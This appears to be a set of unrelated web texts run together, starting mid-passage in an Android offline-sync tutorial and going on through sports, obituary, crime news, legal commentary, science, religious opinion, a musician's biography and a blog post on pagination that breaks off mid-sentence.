connection is available, a background sync job will be queued until the connection becomes available. During this time the user can close the app or even restart the device — the pending sync request is guaranteed to survive and wait for the connection to become available.  Once the connection is restored, a background job will sync the record with remote datastore.  If the record is successfully synced with remote repo, the corresponding local record is updated with syncPending =false. The comment text color in the UI will turn black.  =false. The comment text color in the UI will turn black. If the sync with remote repo failed, the local record gets deleted to provide data integrity. This scenario is an exception rather than the rule. In a real world application, you’d probably want to inform the user about this, possibly by showing a notification.  Your data should be stored locally first and synced remotely second.  Single Source of Truth  In our app, the local database is the single source of truth. Although data is synced with remote (cloud) database, data lookups always happen against the local database. Whenever sync with remote database fails, we delete the local record to guarantee data integrity between local and remote data repositories.  Offline design strategies  Unfortunately, there is no one size fits all solution when it comes to offline app design. My example app shows 2 possible ways to accomplish offline functionality (see below for details). Your milage may vary — it all depends on your particular app requirements.  Do you tell users when the app goes offline? If so, how? Do you inform them when remote sync fails/succeeds? If so, how? How do you tell users they are offline when they try to explicitly refresh content? Do you keep track of the last scroll position when online in order to show only the content they have not seen now that they are offline?  These are just some of the questions you may face when designing offline functionality for your app.  App architecture  MVVM (Model-View-ViewModel) pattern using Google’s new Lifecycle Architecture Components such as ViewModel , ViewModelFactory , LiveData , LifecycleObserver .  , , , . Clean-ish Architecture with decent layer isolation and data repositories abstracted via interfaces. This should ease maintenance and testability. There is definitely some room for improvement around Job Queue integration.  Background job for syncing comments with remote service is implemented using Android Priority Job Queue.  RxJava 2, RxRelay are used to communicate between the layers asynchronously.  Local Database is implemented using Google’s new Room Persistence Library.  Remote API calls are implemented using Retrofit and fake remote datasource is done with help of JSONPlaceholder REST API.  New Dagger Android 2.11 Injection API is used for injecting dependencies.  As a bonus, the following quality checks are integrated into the build process: lint, checkstyle, pmd, findbugs.  Android Priority Job Queue  This open-source library is the backbone of our offline app functionality. It is maintained by Googler Yigit Boyar whose name will inevitably come up when you research offline-first app design on Android. This mature library allows you to employ Job Scheduler API from Google on Lollipop and above and fall back on GcmNetworkManager to support API Level 9 and above.  Just like there are multiple ways to design offline apps, there are different ways of using Android Priority Job Queue. http://github.com/jshvarts/OfflineSampleApp contains 2 branches showcasing 2 approaches to using the library:  master: the app has to be open for the data to be synced with remote repo. sync-in-background: the app does not need to be open for the background sync requests to execute. Android Priority Job Queue can wake up the app to perform the background sync jobs in the same process.  The latter approach is my favorite. It allows the application to be woken up on device boot when certain background job conditions are met (e.g. network access is available, WiFi is available, etc.).  Jobs in Android Priority Job Queue are highly configurable. Some of the common configuration parameters are:  custom job priority  network availability  retry and job cancelation logic  job persistence strategy  When Android Framework’s Job Scheduler is used (on Lollipop and above), job scheduling is managed by the OS which optimizes remote calls and conserves battery life. In addition, the scheduler complies with the Doze and Stand By restrictions.  The power of RxJava  While not applicable to offline apps specifically, note how RxJava helps us keep the code concise.  Here the comment is synced remotely upon successful local add comment call.  Once loaded initially, our View data always stays up-to-date by virtue of using Flowable . There are no explicit calls to refresh data. This makes the interaction between our data and UI truly Reactive.  Communicating sync events  Android Priority Job Queue library recommends using EventBus to communicate events from background jobs back to the UI. However, given that 1) the industry trend seems to be to replace EventBus with RxJava and 2) I already use RxJava extensively in the app, I decided to create a custom RxBus solution instead of EventBus:  Here is how our background job posts a sync response event to this bus:  Receiving event emissions from the RxBus is done differently depending on when you choose to process sync requests:  when the app is open when the app is not open.  Let’s look at both scenarios below:  Syncing data when app is open  To receive event emissions when the app is open and when CommentsActivity is resumed, there is a SyncCommentLifecycleObserver . It is registered to observe lifecycle events from our View, CommentsActivity  The lifecycle event Lifecycle.Event.ON_RESUME subscribes to data emissions from our RxBus. This is roughly an equivalent to EventBus.getDefault().register(this)  The lifecycle event Lifecycle.Event.ON_PAUSE triggers unsubscribing (clearing Disposables ) from our RxBus emissions. This is roughly an equivalent to EventBus.getDefault().unregister(this)  The above setup utilizes latest Architecture Components from Google and helps keep our code clean and manageable by adhering to Single Responsibility Principle.  To test this setup, try adding comments while offline. They will be stored locally only — comment text color will be gray. Then, re-enable network connection and observe your background jobs updating remote data store one comment at a time in the order they were added by the user. As comments are synced successfully, the text color will change to black.  Pro-tip: Use ‘elevator test’ to simulate flakey network connection while developing offline functionality. Use the app in an elevator and observe its behavior if the connection is lost and later re-established.  Syncing data when app is not open  To receive event emissions when the app is not open or backgrounded, follow these steps:  Add RECEIVE_BOOT_COMPLETED permission to AndroidManifest.xml so that your application can be woken up by the scheduler after the device is rebooted.  Set batch =false when creating job schedulers:  Make your background job persistent by adding .persist() job config param.  Note, the SyncCommentJob has a single instance variable, comment , which is a simple POJO. This is because by default, job persistence with Android Priority Job Queue is accomplished via Serialization so it’s easiest to construct Jobs with lightweight Serializable POJOs and expose other dependencies as Singletons outside of Dagger (as done with RemoteCommentService.getInstance() ). Alternatively, you can a) use transient dependencies and some Dagger trickery or b) implement custom serialization using libraries such as GSON or Protobuf.  Sync comment response is then observed by SyncCommentResponseObserver which is initialized by our App class when the app is woken up.  To test this setup, try adding comments while offline. The comments will be stored locally as evident by the comment text color in the UI (gray). Try closing the app or restarting the device. Do not open the app yet but do re-enable network connection. Your jobs are now sent to remote data store to be synced. Open the app to confirm that the jobs were already synced as evident by the comment text color (black).  Conclusion  Let’s summarize benefits of offline apps again:  users can continue enjoying the app, even while offline. users no longer get error messages due to network connection problems. users benefit from more responsive apps users benefit from conserving battery life. the need for progress bars, etc. is diminished since users interact with fast local storage only. As a bonus, this simplifies the process of building the UI.  Given the above, apps that value user experience should take offline support seriously. Why make network calls for every UI interaction? I doubt your users enjoy waiting for network responses, seeing progress indicators and being told to ‘try again’ whenever network connection is lost. Let’s put user experience first and make our apps accessible to all users, not just those on blazing fast networks.  P.S. Thanks to AndroidWeekly for featuring this article in their issue #279  Recommended Resources
-Honda has introduced a new Fireblade for the 2017 campaign, but had difficulties preparing the bike in time for the European pre-season tests at Jerez and Portimao, having only received it a few weeks in advance.  While Hayden was just seven tenths off the pace at Jerez, his disadvantage to the pacesetters was 1.6 seconds for Portimao, which he described as "frustrating".  Progress was seemingly made at Phillip Island, with Hayden making it to Superpole 2, but then he only took 11th in that session, a position he could not progress from in Race 1.  Hayden's weekend ended with a retirement caused by a crash in the second race.  When asked to rate the season opener, Hayden admitted it was a tougher round for Honda than expected, and that there were no positives to take away from the weekend.  "I don't know, after the race you're a bit beat down, but the reality is I don't see what we can say what was really positive for us," said Hayden.  "It was a tougher weekend than we expected, and then I made a mistake in the race and crashed, that's my fault.  "Didn't really do a lot different, the speed was about the same, I just had a little bit more rear brake that unloaded the front and folded on me.  "I wouldn't say [there are] too many positives to take from this weekend, I don't want to be too negative but we don't want to come in here and get beaten like we did pretty much both days."  "Tweaked" knee not a worry  Hayden's off-season was hampered by a knee injury, which he sustained during flat-track training in November.  In the second race of the season opener, the 35-year-old fell at Turn 9 and he admitted he "tweaked" his knee.  However, tests and further evaluations with Hayden's surgeon in the USA found no injury, and the American rider is set to race in the next round in Thailand.
-(Reuters) - Kongar-ol Ondar, a Tuvan throat singer credited with popularizing the centuries-old musical tradition of his homeland to Western audiences, died on Thursday after emergency surgery to treat a brain hemorrhage, friends said. He was 51.  Ondar died at a hospital in Kyzyl, the capital of Tuva, a Central Asian republic of Russia that borders Mongolia, said Sean Quirk, a longtime friend of the singer and manager of the Tuvan throat-singing ensemble Alash.  “He is not replaceable,” Quirk told Reuters by phone from his home in Tuva. “There’s so much of Tuvan culture that’s concentrated in him and who he was. He was the ambassador of Tuva.”  Throat singing involves simultaneously vocalizing one or more notes over a fundamental pitch, producing a distinct sound that can take years to attain. It is traditionally done by horse herders on the Tuvan and Mongolian steppes, where the music can carry great distances.  “If it wasn’t for him, two-thirds of the band that I work with might be out in the steppes throat singing and herding horses,” Quirk said. “Throat singing would still be around without him. But it would not be nearly as widespread or as popular in Tuva or the world.”  Ondar first came to the attention of Western audiences in 1993, when he was a last-minute addition to a group of Tuvan throat singers and horse herders invited to participate in that year’s Rose Parade in Pasadena, California.  At the time, Tuvan throat singing was unknown in the United States to all but a tiny group of devoted fans, said Ralph Leighton, founder of the newsletter-turned-website Friends of Tuva, who made the invitation.  On his initial trip to the United States, Leighton said, Ondar performed for Frank Zappa, the Kronos Quartet and Ry Cooder, who was moved to include Tuvan throat singing in his score for the 1993 film “Geronimo.”  “He was a showman but was true to his Tuvan roots,” said Leighton. “He was able to bring Tuvan culture out to a big appreciative audience while also nurturing it at home.”  Ondar was featured in the 1999 documentary film “Genghis Blues,” which told the story of a blind California blues musician who traveled to Tuva to learn about throat singing.  In addition to his exploits abroad, Ondar both trained and paved the way for the next generation of throat singers in Tuva, said Quirk.  “In the 1990s, he was the only one formally teaching throat singing to young people,” Quirk said. “You can see the results of it now. A big chunk of the best singers are his students.”
-At least eight people were killed and nearly a dozen more were injured when a truck driver deliberately mowed down people and targeted a school bus in lower Manhattan. Gus Rosendale reports. (Published Wednesday, Nov. 1, 2017)  What to Know Eight people were killed and more were injured when a man in a rented pickup truck rampaged down a popular Manhattan bike path Tuesday  Witnesses described a shocking and gruesome scene along the bike path; the truck then deliberately crashed into a school bus  Sources say the driver, Uzbek national Sayfullo Saipov, who has been living in New Jersey, left a note saying he did it for ISIS  UPDATE: Attack Suspect Left 'ISIS Lives Forever' Note in Truck, Showed No Remorse for Deadly Rampage  At least eight people were killed and nearly a dozen more were injured when a truck driver deliberately mowed down people and targeted a school bus in lower Manhattan Tuesday in what authorities called a "cowardly act of terror."  A 29-year-old Uzbek national living in New Jersey, Sayfullo Saipov, drove a Home Depot rental pickup truck at least 10 blocks down the popular Hudson River Greenway bike path from West Houston to Chambers streets, hitting nearly a dozen pedestrians and bicyclists before crashing into a school bus near Stuyvesant High School and elementary school P.S. 89, just a few blocks north of the World Trade Center, authorities said.  The crash into the school bus appeared to be deliberate; witnesses told police they saw the driver swerve the truck to target the bus, which was carrying children.  Two staff members and two children on the bus were injured, police said.  They said the driver then screamed "Allahu Akbar" in the truck, then emerged carrying what turned out to be a pellet gun and a paint gun and started running around before he was confronted by a nearby uniformed officer on patrol, who shot him in the abdomen.  Law enforcement sources said Tuesday night that authorities found a note inside the man's truck -- rented from a Passaic Home Depot an hour before the rampage -- saying he committed the attack for ISIS.  Watch: Truck Rampage Suspect Runs Through Traffic  Witness video shows the suspect in a Lower Manhattan truck rampage running through traffic with what looks like two weapons. For the latest updates on this story click here. (Published Tuesday, Oct. 31, 2017)  One witness told News 4, "A guy got out with a biker jacket with a stripe, and started shooting up the place. All the kids were in the courtyard at P.S. 89 and started running."  Another woman standing at a bus stop nearby said she saw children and teachers from P.S. 89 screaming and running back into the school around dismissal time.  "A man said, 'Run, run for your life,'" said Margaret Yearwood.  The witness who saw the truck driver emerge from the pickup went to go help the school bus driver after the crash.  "I wasn't sure why he was so spaced out and then I went to the other side, it was all caved on. A poor girl was stuck right above the wheel well. There were two kids that were just stuck by the window. It was all blown out," he said.  Another witness described a gruesome scene along the bike path; amid the heaps of twisted metal and mangled bikes, he saw two victims laying unconscious on the ground: "One gentleman’s leg was hanging by skin. Another man had tire marks across his chest. His eyes were open."  Six of the victims were pronounced dead on the scene, according to FDNY Commissioner Dan Nigro. They were all male. Two other victims were pronounced dead at local hospitals.  Nearly a dozen people were taken to hospitals, many with serious but non-life threatening injuries. Saipov was also taken to Bellevue Hospital after he was shot by police.  Hear It: Emergency Services Respond to Truck Rampage  Listen as emergency responders react to reports of an out of control box truck in lower Manhattan. For the latest on the deadly incident click here. (Published Wednesday, Nov. 1, 2017)  Sources initially said they were responding to a report of at least five people shot; in fact, all the victims in the case appeared to have been injured or killed from the truck crash.  Dramatic Images: Aftermath of Deadly Manhattan Truck Rampage  "There was a loss of innocent life," NYPD Commissioner James O'Neill said at a news briefing Tuesday evening. "The dead and injured were just going about their days, heading home from work or from school, or enjoying the afternoon sun on their bicycles. This is a tragedy of the greatest magnitude."  Mayor de Blasio condemned the "particularly cowardly act of terror aimed at innocent civilians" and said it would not break the city's spirit. He urged New Yorkers to be more vigilant, and said police presence would be stepped up across the city, adding, "New Yorkers are resilient; our spirit will never be moved."  'A Particularly Cowardly Act of Terror': De Blasio  Mayor Bill De Blasio speaks out against the 'cowardly act of terror' that killed at least 8 people in lower Manhattan Tuesday afternoon. (Published Tuesday, Oct. 31, 2017)  To that end, the NYPD said the famed Village Halloween Parade would proceed Tuesday evening, though with more police officers and resources, including blocker vehicles, sand trucks and weapons teams.  Stuyvesant High School, P.S. 89 and P.S. 289 were put on lockdown in the chaos and confusion after the crash. Stuyvesant High School sophomore Areyan Kayum said he was in class when he heard the crash; students rushed to the window and saw the destroyed school bus below. The school was immediately put into shelter mode.  "I'm just glad I'm safe and everyone in the school is safe," said Kayum.  Parents were seen picking up their children from the elementary schools after the lockdown was lifted; many of the kids were in Halloween costume and makeup.  Schools chancellor Carmen Fariña said, "Today there was an act of terror in close proximity to several schools in lower Manhattan. We stand with the entire city as we mourn this senseless loss of life. We are grateful to the first-responders and school staff who work tirelessly to help keep our schools and communities safe. Ongoing guidance and trauma counselors will be provided across schools to those in need tomorrow."  Gov. Andrew Cuomo said there was no evidence to suggest the "lone wolf" attack was part of a wider plot. A U.S. counterterrorism official told NBC News that the intelligence community is unaware of any claims of responsibility in the attack at this time.  On Twitter, President Donald Trump called it "another attack by a very sick and deranged person" and declared, "NOT IN THE U.S.A."  Tuesday’s attack bears resemblance to several attacks where a vehicle was used as a weapon in recent years.  In 2014, ISIS called on so-called lone wolf attackers to use their cars to kill people if they couldn’t get their hands on weapons. Two years later, an attacker plowed a cargo truck into hundreds of people celebrating Bastille Day on a beachfront promenade in Nice, France, leaving 86 people dead. Since then, there have been at least 11 other instances where attackers used cars to kill dozens and injure many more.  And earlier this year, a driver from the Bronx jumped a curb in Times Square and hit nearly two dozen people as he drove on the sidewalks -- allegedly intoxicated by PCP -- for three blocks.  The NYPD and FBI are asking anyone with information about Tuesday's attack should call Crime Stoppers at 1-800-577-TIPS or the FBI's tip line at 1-800-CALL-FBI.
-Say you’re a lawyer, and state bar rules ban you from having sex “with a current client.” What if you’re having a three-way sexual encounter with your current client and the client’s girlfriend? Is that having sex “with” the client, because you and the client are having sex together (much like you might be going skiing “with” a friend)? Or is it not, because you and the client are not actually physically stimulating the other?  Not a hypothetical! These are the facts of a real case, In re Disciplinary Proceedings Against Inglimo, decided in 2007 by the Wisconsin Supreme Court:  The relevant language of SCR [Wisconsin Supreme Court Rule] 20:1.8(k) is as follows: (k)(1) … (i) “Sexual relations” means sexual intercourse or any other intentional touching of the intimate parts of a person or causing the person to touch the intimate parts of the lawyer…. (2) A lawyer shall not have sexual relations with a current client unless a consensual sexual relationship existed between them when the lawyer-client relationship commenced. The referee found that Attorney Inglimo engaged in sexual relations with L.K.’s girlfriend while she was doing the same with L.K. The OLR [Office of Legal Regulation] essentially argues that the word “with” in SCR 20:1.8(k)(2) connotes a temporal and spatial connection. According to the OLR, as long as the lawyer and the client are both participating in a sexual act at the same time in the same place, they are having sexual relations “with” each other…. On this issue, we concur with the referee’s conclusion [that Inglimo did not violate the rule]. The definition of sexual relations in SCR 20:1.8(k)(1) connotes conduct directly between the lawyer and the client. When the definition refers to touching, the rule speaks of the lawyer intentionally touching the intimate parts of “a person,” but the subsequent alternative definitional phrase uses the more definitive “the person” when referring to a situation in which the lawyer causes the touching to be done to him/her…. Further, SCR 20:1.8(k)(2) prohibits a lawyer from having “sexual relations” “with a current client.” Thus, the definitional language of SCR 20:1.8(k)(1) and the prohibition of SCR 20:1.8(k)(2) together clearly indicate that the prohibited “sexual relations,” whether intercourse or touching, must be intentionally done between the lawyer and one particular person, namely the client…. [B]ecause it does not appear that the definitional elements of “sexual relations” have been satisfied, the simple term “with” in the prohibitional phrase in SCR 20:1.8(k)(2) cannot transform this situation into a violation of the rule.  I bring this up nine years later partly because it’s the sort of bizarre legal story I like (really, who would have thought the Wisconsin Supreme Court would have to decide that?) but also because the “depends upon the meaning of ‘with’ ” question just came up in another sex case, this one a solicitation case from last Friday in Utah, State v. Hawker (Utah Ct. App.):  A detective came across an internet advertisement for escort services that showed a “scantily dressed” woman “in seductive pos[es].” The detective called the number on the ad and spoke to Defendant, asking her to meet him at a motel. He also requested that Defendant wear a short skirt with no underwear and “perform with [a] sex toy” while he “watch[ed].” Defendant agreed to engage in the requested conduct for $250 for thirty minutes or $300 for one hour…. When Defendant arrived in the motel parking lot, the caller introduced himself, informed the Defendant that he was a detective, and arrested Defendant for agreeing to “masturbat[e] with a sex toy for money.” … Defendant was charged with … sexual solicitation….  Now sexual solicitation is defined, in part, as meaning “offer[ing] or agree[ing] to commit any sexual activity” — including “masturbation” — “with another person for a fee.” So was agreeing to masturbate in front of someone for a fee “sexual activity” with the person? No, says the lead opinion (you can read the full decision to also see the concurrence and the dissent):  The term “with” has two possible meanings in this context. It can connote “one that shares in an action,” or it can mean “accompaniment or companionship.” Webster’s Third New Int’l Dictionary 2626 (1993). If the former definition applies, Defendant did not violate [the relevant provision], because there was never an agreement that the detective would manipulate the toys or otherwise actively participate in the act of masturbation. But if the latter applies, the result is different because Defendant agreed to masturbate while in the detective’s company. To determine which variant of “with” this statute employs, it is appropriate to consider the other forms of sexual activity mentioned in the statute. “The several provisions of the statute should be construed together in the light of the general purpose and object of the act and so as to give effect to the main intent and purpose of the legislature as therein expressed.” … [The definition of sexual behavior] contains a list of behaviors that, under [the solicitation statute], may not lawfully be engaged in “with another person for a fee.” These behaviors, “so used together and directed toward the same objective [,] … should be deemed to take character and meaning from each other.” … [T]he sexual solicitation statute must be read to prohibit receiving or agreeing to receive payment for acts that are of the same sort, or “of equal magnitude.” The list set forth in [the definition of sexual activity] includes … [genital, oral, and anal sex –] necessarily a two-person activity. [None] of these categories of conduct involves one person acting and another person watching. In other words, for these types of sexual activity to be prohibited under subsection (1)(a), “with” must mean that the other person is joining in the activity and not merely there as company or a very small audience. Construing like terms together, “with” must mean the same when applied to masturbation. It is therefore not enough, under subsection (1)(a), that someone agrees to masturbate on her own for a fee while another person is present. Because this is precisely what Defendant agreed to do, her agreement did not violate [the relevant provision of the solicitation statute].  There’s more — the statute, and the decision, are both complicated — but this should get you a sense of the “with” debate. Things lawyers argue about …
-Jalandhar: The Prime Minister of Dominican Republic (North America) Roosevelt Skerrit chaired the sixth convocation of Lovely Professional University on Tuesday. In 2004, Skerrit became the youngest prime minister of any country in the world at the age of 31.Skerrit honoured gold medallists and toppers of various academic programmes of the LPU 2015 batch. In all, 7,810 regular, distance education and part-time students received degrees and diplomas.LPU also conferred its 'honoris causa' doctor of letters degree on the visiting PM, who was accompanied by a high-profile delegation, including cabinet secretary Steve Ferrol of the Dominican Republic.PM Skerrit asked graduates to believe in themselves and their country. "Step out with force to face the world on a positive note. You too can become PM, CEO or leading global entrepreneur. You too can encourage and motivate the generation next to you," he said.He also expressed his desire to collaborate with LPU in India for students and cultural exchange programmes. "Geometrical boundaries should not be challenging for us. The honour which I have received here, I dedicate the same to youth of both the countries India and Dominica for their diligence and hard work and urge them to create and navigate a new globalized world," said Skerrit.
-Jerusalem, February 22, 2011 -- The portion of the brain responsible for visual reading doesn't require vision at all, according to a new study by researchers from the Hebrew University of Jerusalem and France.  Brain imaging studies of blind people as they read words in Braille show activity in precisely the same part of the brain that lights up when sighted readers read. The findings challenge the textbook notion that the brain is divided up into regions that are specialized for processing information coming in via one sense or another, the researchers say.  "The brain is not a sensory machine, although it often looks like one; it is a task machine," said Dr. Amir Amedi of the Hebrew University of Jerusalem, head of the team of researchers whose work on the topic is reported in the latest issue of Current Biology.  "A particular area fulfills a unique function, in this case reading, regardless of sensory input modality," he said. Amedi is affiliated with the Institute for Medical Research Israel-Canada and the Edmond and Lily Safra Center for Brain Sciences at the Hebrew University.  Unlike other tasks that the brain performs, reading is a recent invention, about 5,400 years old. Braille has been in use for less than 200 years. "That's not enough time for evolution to have shaped a brain-module dedicated to reading," Amedi explained.  Nevertheless, brain scans have shown that a very specific part of the brain, known as the Visual Word Form Area or VWFA for short (first discovered in sighted people by Dr. Laurent Cohen of Paris, a co-author of the current article), has been co-opted for this purpose. But no one knew what might happen in the brains of blind people who learn to read despite the fact that they've had no visual experience at all.  In the new study, Amedi's team, which included his doctoral student Lior Reich, used functional magnetic resonance imaging (fMRI) to measure the neural activity in eight people who had been blind since birth while they read Braille words or nonsense Braille. If the brain were organized around processing sensory information, one might expect that Braille reading would depend on regions dedicated to processing tactile information, Amedi explained. If instead the brain is task-oriented, you'd expect to find the peak of activity across the entire brain in the VWFA, right where it occurs in sighted readers, and that is exactly what the researchers saw.  Further comparison of brain activity in the blind and sighted readers showed that the patterns in the VWFA were indistinguishable between the two.  "The main functional properties of the VWFA as identified in sighted are present as well in the blind, and are thus independent of the sensory-modality of reading, and even more surprisingly do not require any visual experience," the researchers wrote. "To the best of our judgment, this provides the strongest support so far for the metamodal theory of brain function," which suggests that brain regions are defined by the computations they perform. "Hence, the VWFA should also be referred to as the tangible word-form area, or more generally as the (metamodal) word-form area."  The researchers suggest that the VWFA is a multisensory integration area that binds simple features into more elaborate shape descriptions, making it ideal for the relatively new task of reading.  "Its specific anatomical location and strong connectivity to language areas enable it to bridge a high-level perceptual word representation and language-related components of reading," they said. "It is therefore the most suitable region to be taken over during reading acquisition, even when reading is acquired via touch without prior visual experience."  Amedi said he and his research associates plan to examine brain activity as people learn to read Braille for the first time in order to find out how rapidly this takeover happens. "What we want to find out is: how does the brain change to process information in words and is it instantaneous?"  ###
-on March 28, 2017  Take a minute and think about all the young people you know. Your older children, their friends, your church’s youth group, that newlywed couple, your college friends—how many of them have a biblical worldview? Well, according to new research , only 4% of the millennial generation in America—the twentysomethings—have a biblical worldview.  Only 16% of their grandparents and just 7% of their parents can be said to have a biblical worldview.  It should come as no surprise that Millennials are less likely than any other generation to have a biblical worldview and are very secularized in their thinking. After all, only 16% of their grandparents and just 7% of their parents can be said to have a biblical worldview. As I’ve said many times before when reporting on sad statistics like this, instead of the church going out and influencing the culture, the culture has greatly influenced the church. In fact, many in the church don’t think much differently from those outside the church! And, of course, keep in mind that 90% of kids from church homes in the United States are sent to the secular education system where our tax dollars are used to impose the religion of atheism on their thinking a number of hours per day.  This new report on Millennials’ beliefs included these saddening US statistics, among others:  One out of every three older adults (33%) is a born-again Christian, stating that they will experience eternity in Heaven with God after their death on earth only because they have confessed their sins and accepted Jesus Christ as their savior. Far fewer Millennials (20%) share that expectation  Less than two out of every ten adults 30 or older (18%) claims to be in the atheist-agnostic-none faith preference category. Nearly three out of every ten Millennials embrace that category (28%)  A minority of adults 30 or older (43%) supports same-sex “marriage.” However, nearly two-thirds of those under 30 (65%) support it.  Commenting on this study, George Barna the executive director of the American Culture and Faith Institute which authored the study, wrote,  Remember, a person’s worldview is typically developed between the ages of about 18 months and 13 years. . . . There is usually very little movement in a worldview after that point. You could say with confidence that the worldview a person possesses at age 13 is probably the worldview they will die with. Unless pre-existing patterns radically change, we are not likely to ever see the Millennial generation reach even ten percent who have a biblical worldview. . . . Parents are one of the most important influences on the worldview of their children, and Millennials are entering their prime childbearing years. But because 24 of every 25 Millennials lack a biblical worldview today, the probability of them transmitting such to their children is extremely low. You cannot give what you don’t have. In other words, if today’s children are going to eventually embrace a biblical worldview, people with such a perspective must exert substantial influence on the nation’s children to supply what their parents are unable to give them.  Parents, I cannot urge you strongly enough to be intentional about imparting a biblical worldview to your children, as the Bible instructs. The influence you have on your children cannot be replaced by anyone else—they are looking to you and your example. Are you using the time you have with them to teach them to love God’s Word and to start their thinking in all areas from Scripture? If not, consider these Scripture passages:  Train up a child in the way he should go, and when he is old he will not depart from it. ( Train up a child in the way he should go, and when he is old he will not depart from it. ( Proverbs 22:6  And you, fathers, do not provoke your children to wrath, but bring them up in the training and admonition of the Lord. ( And you, fathers, do not provoke your children to wrath, but bring them up in the training and admonition of the Lord. ( Ephesians 6:4  But you must continue in the things which you have learned and been assured of, knowing from whom you have learned them, and that from childhood you have known the Holy Scriptures, which are able to make you wise for salvation through faith which is in Christ Jesus. All Scripture is given by inspiration of God, and is profitable for doctrine, for reproof, for correction, for instruction in righteousness, that the man of God may be complete, thoroughly equipped for every good work.” ( All Scripture is given by inspiration of God, and is profitable for doctrine, for reproof, for correction, for instruction in righteousness, that the man of God may be complete, thoroughly equipped for every good work.” ( 2 Timothy 3:14–17  Education begins in the home—right from when a child is born.  Pastors and other Christian leaders—you need to be equipping parents and young people with the tools they need to think biblically. You can’t avoid important topics like gay “marriage,” transgender issues, abortion, creation vs. evolution, or the exclusivity of Christ. You need to preach and teach on these issues to help those under your influence to think biblically and turn to God’s Word—not our culture—for answers!  Our Answers Bible Curriculum (ABC). It’s a four-year Sunday school (or homeschool or family study) curriculum that features a chronological walk through the Bible, synchronized across ages so parents and their children are learning the same thing each week. It’s full of apologetics and biblical worldview content, and there’s nothing else quite like it out there. Our online store is full of resources to help equip believers to think biblically. I especially encourage you to check out). It’s a four-year Sunday school (or homeschool or family study) curriculum that features a chronological walk through the Bible, synchronized across ages so parents and their children are learning the same thing each week. It’s full of apologetics and biblical worldview content, and there’s nothing else quite like it out there.  I encourage you to check it out at I encourage you to check it out at AnswersinGenesis.org/sunday-school  Thanks for stopping by and thanks for  Ken Thanks for stopping by and thanks for praying Ken  This item was written with the assistance of AiG’s research team.
-This article is about an American street performer from Seattle. For other uses, see Artis (disambiguation)  Artis the Spoonman (born October 3, 1948) is an American street performer and musician from Seattle, Washington, who uses spoons as a musical instrument.  He frequents the Pike Place Market accompanying singer/songwriter and guitarist Jim Page with his collection of spoons of different shapes and sizes and materials spread out on a blanket.[1] In addition to spoons, he plays the flute and recorder.[2] To the larger public, he is probably best known for his collaborations with Soundgarden and Frank Zappa.  Career, performances [ edit ]  1970s and 1980s [ edit ]  Artis had been active since 1972 as a street artist[3] when he had his first collaboration with a major artist, appearing on stage with Frank Zappa in Eugene, Oregon, and at New York's Palladium, in 1981.[4][5]  1990s and later—collaboration with Soundgarden [ edit ]  In 1992 Artis made a guest appearance, (as local talent), at Bumbershoot, Seattle, which that year featured a lineup of acts including Soundgarden, who were to become instrumental in bringing Artis to the attention of a wider audience.  In 1993 he published a compilation of his poems and short stories called Artis-Aspirations to Manifestations from the Womb to the Void.[6] In 1994, an NPR's Morning Edition focused on him and his artistic rejection of material values.[7] His song "Wake Up Call" opened the 1995 compilation Northwest Post-Grunge.[8]  In the same year, he recorded "Spoonman" with Soundgarden, a song written by Chris Cornell, and named for and featuring Artis. He played the spoons in the song and appeared in the music video.[9] On their 1994 tour, he opened up for the band in New York City, and Shepherd's Bush in London.[10] The single charted at number three on the US Mainstream Rock Tracks chart and at number nine on the US Modern Rock Tracks chart.[11] The song also became a top twenty hit on the UK Singles Chart.[12] In 1995, the song won the Grammy Award for Best Metal Performance.[13]  Chris Cornell commented:  It's more about the paradox of who [Artis] is and what people perceive him as. He's a street musician, but when he's playing on the street, he is given a value and judged completely wrong by someone else. They think he's a street person, or he's doing this because he can't hold down a regular job. They put him a few pegs down on the social ladder because of how they perceive someone who dresses differently. The lyrics express the sentiment that I much more easily identify with someone like Artis than I would watch him play.[14]  Artis and Jim Page in 2009  On November 10, 1995, he released an album titled Entertain the Entertainers. The album was rated four and a half stars out of five by Allmusic.com who called his release "an exceptional album showing off a very good range for an artist that would otherwise be known more for the gimmick of his chosen instruments, regardless of his abilities on them."[15]  Artis has performed at many festivals, mostly in Canada and the United States. Other bands he has played with include Aerosmith and Phish, and he has been a featured performer at Seattle's Bumbershoot Festival (2003 and 2004)[16] and the Oregon Country Fair. He was a featured performer at the 2013 Northwest Folklife Festival in Seattle.  Artis has made television appearances on the BBC and Late Night with David Letterman, among others. He plays an old man in the 1995 film Toast with the Gods.[17]  Personal life [ edit ]  Artis has stated he was a sailor in the United States Navy in the late 1960s, and worked for the United States Postal Service in the early 1970s.[1]  Artis suffered a heart attack in 2002,[18] and a benefit was organized for him in Seattle.[19] He was reported as receiving state General Assistance Unemployable benefits from 2002 to 2010,[20] and federal SSI benefits with alcoholism-related mental disability as of 2011.[21]  Since 2009 he has lived in Port Townsend, Washington.[22]  Discography [ edit ]  ...Entertain the Entertainers (Sapphire Records, 1995)  "World Beat Ragtime" by Shoehorn (Kutsubera Music, 1994) "A Livin' Spoonful" by Artis (2003) "The Blue Monk" by Shoehorn (Kutsubera Music, 2008)  He also recorded a session for Frank Zappa.  See also [ edit ]
-Dr. Drang:  Paging is clearly an artifact of the technology of paper books.  I don’t think that is clear at all.  Take the iPad. iPads have screens that have a specific size. In terms of points, every iPad ever made has the exact same screen size. Designers design content for that specific screen size. If they can avoid it, why should they design chunks of content that are longer or wider than that specific screen size?  Look at iOS’s home screen. There are pages of apps. You jump between pages, you don’t scroll. Is the home screen’s pagination an artifact of paper book technology, or is it simply a better idea than having a home screen that can be scrolled? I’d argue that it’s a better idea.  This example also shows that a simple interaction model isn’t pagination’s only advantage. How do you find apps on your home screen? For many of the apps you use often, you probably find them by their position. Pagination allows you to organize things spatially.  This (typically) doesn’t apply to automatic pagination, where page breaks are chosen in a way that can’t be predicted by the author, but it does apply in many other situations. If you use iBooks author, you design individual pages that perfectly fit the iPad’s screen. This means that you can ensure that paragraphs that belong together are on the same page. You can make sure that illustrations and pictures are next to the text they belong to. And your users can identify things by their position: «look at the image at the bottom left of page 35!»  Pagination isn’t just an artifact of paper books. It actually has real advantages over scrolling.  Dr. Drang continues:  I read shitloads of stuff on scrolling web pages—as I’m sure Michael does—and I don’t get exhausted doing it.  Similar sentiments were expressed in a lot of the feedback I’ve received. I’m sure scrolling doesn’t feel like a particularly problematic or burdensome interaction to most readers of this website. But we are not good approximations of the average user. I’ve seen too many iPhone users, holding the phone in their left hand, painstakingly scrolling with their right index finger. For most people, scrolling on a touch device isn’t as easy and automatic as it is for us (and on a PC, it’s even worse).  This may change. Today, many children are growing up with iPads. Maybe in 20 